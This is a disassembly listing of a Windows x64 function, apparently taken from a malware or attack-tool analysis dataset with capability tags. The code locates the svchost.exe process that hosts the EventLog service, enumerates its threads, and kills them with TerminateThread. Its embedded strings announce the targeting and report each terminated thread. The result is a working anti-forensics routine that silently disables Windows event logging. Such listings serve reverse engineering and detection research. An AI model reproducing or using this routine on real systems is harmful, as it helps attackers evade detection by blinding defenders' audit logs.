Function at 0x140001390
Capabilities:
Enumerate threads
Query service status
Terminate thread

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0x4f]
sub rsp, 0xf8
mov rax, qword [0x140022018]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor edx, edx
lea rcx, [0x14001e760]
mov r8d, 0x2000000
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r8d, 0x2000000
lea rdx, str.EventLog
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
xor ecx, ecx
lea r8, [rbp + 7]
mov dword [rbp + 0x27], ecx
xorps xmm0, xmm0
xor r12d, r12d
lea rcx, [rbp + 3]
mov qword [rsp + 0x20], rcx
xor edx, edx
mov rcx, rax
mov dword [rbp + 3], r12d
movups xmmword [rbp + 7], xmm0
lea r9d, [r12 + 0x24]
movups xmmword [rbp + 0x17], xmm0
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x14000142f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Unable_to_get_PID_of_svchost.exe_that_hosts_EventLog_service___u__n
call fcn.140001070
lea eax, [r12 - 1]
jmp 0x140001682
mov qword [rsp + 0xe8], r14
lea rcx, str._n___Targeting_svchost.exe_hosting_eventlog_service_with_PID:__d_n
mov r14d, dword [rbp + 0x23]
mov edx, r14d
mov qword [rsp + 0xe0], r15
call fcn.140001070
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.OpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov r8d, r14d
lea ecx, [rdx + 0x10]
call rax
mov r15, rax
test rax, rax
jne 0x14000149e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_get_a_handle_to_svchost.exe_that_hosts_EventLog_service___u__n
call fcn.140001070
lea eax, [r15 - 1]
jmp 0x140001672
xor edx, edx
mov qword [rsp + 0x118], rsi
mov qword [rsp + 0x120], rdi
mov edi, r12d
mov dword [rbp - 1], r12d
mov qword [rbp - 0x79], r12
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001502
lea rdx, [rbp - 0x59]
mov dword [rbp - 0x59], 0x1c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
jne 0x14000150c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Thread32First___and_we_died___u__n
call fcn.140001070
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x140001662
mov qword [rsp + 0xf0], r13
mov r13d, 0x1720
mov qword [rsp + 0x110], rbx
cmp dword [rbp - 0x4d], r14d
jne 0x140001619
mov r8d, dword [rbp - 0x51]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x140001699
mov r9d, 0x38
mov qword [rsp + 0x20], r12
lea r8, [rbp - 0x39]
xor edx, edx
mov rcx, rax
call qword [0x140023cd8]
lea rdx, [rbp - 1]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov edx, 0xf60
mov qword [rsp + 0x20], r12
test eax, eax
mov dword [rbp - 1], eax
mov r9d, 8
lea r8, [rbp - 0x79]
cmove rdx, r13
mov rcx, r15
add rdx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9, qword [0x140023cd0]
xor eax, eax
mov qword [rbp - 0x61], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x71], xmm0
test r9, r9
je 0x140001610
mov eax, dword [rbp - 0x79]
lea r8, [rbp - 0x71]
mov edx, 1
mov dword [rbp - 0x6d], eax
xor ecx, ecx
mov dword [rbp - 0x71], r14d
mov dword [rbp - 0x69], r12d
mov qword [rbp - 0x61], r12
call r9
mov edx, dword [rbp - 0x51]
lea rcx, str.___Thread_FOUND:_TID_____d
call fcn.140001070
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
test eax, eax
je 0x140001601
lea rcx, str._tTerminated__n
call fcn.140001070
inc edi
jmp 0x140001610
mov edx, dword [rbp - 0x51]
lea rcx, str._n____Failed_to_terminate_EventLog_thread__TID:__d____n
call fcn.140001070
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x59]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140001522
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x140001650
lea rcx, str.___Event_Logger_is_Either_NOT_running_or_Already_Killed_Previously__n
call fcn.140001070
xor eax, eax
mov rbx, qword [rsp + 0x110]
mov r13, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0x120]
mov rsi, qword [rsp + 0x118]
mov r14, qword [rsp + 0xe8]
mov r15, qword [rsp + 0xe0]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140002310
add rsp, 0xf8
pop r12
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_get_a_handle_to_one_of_EventLog_service_Threads___u__n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x140001652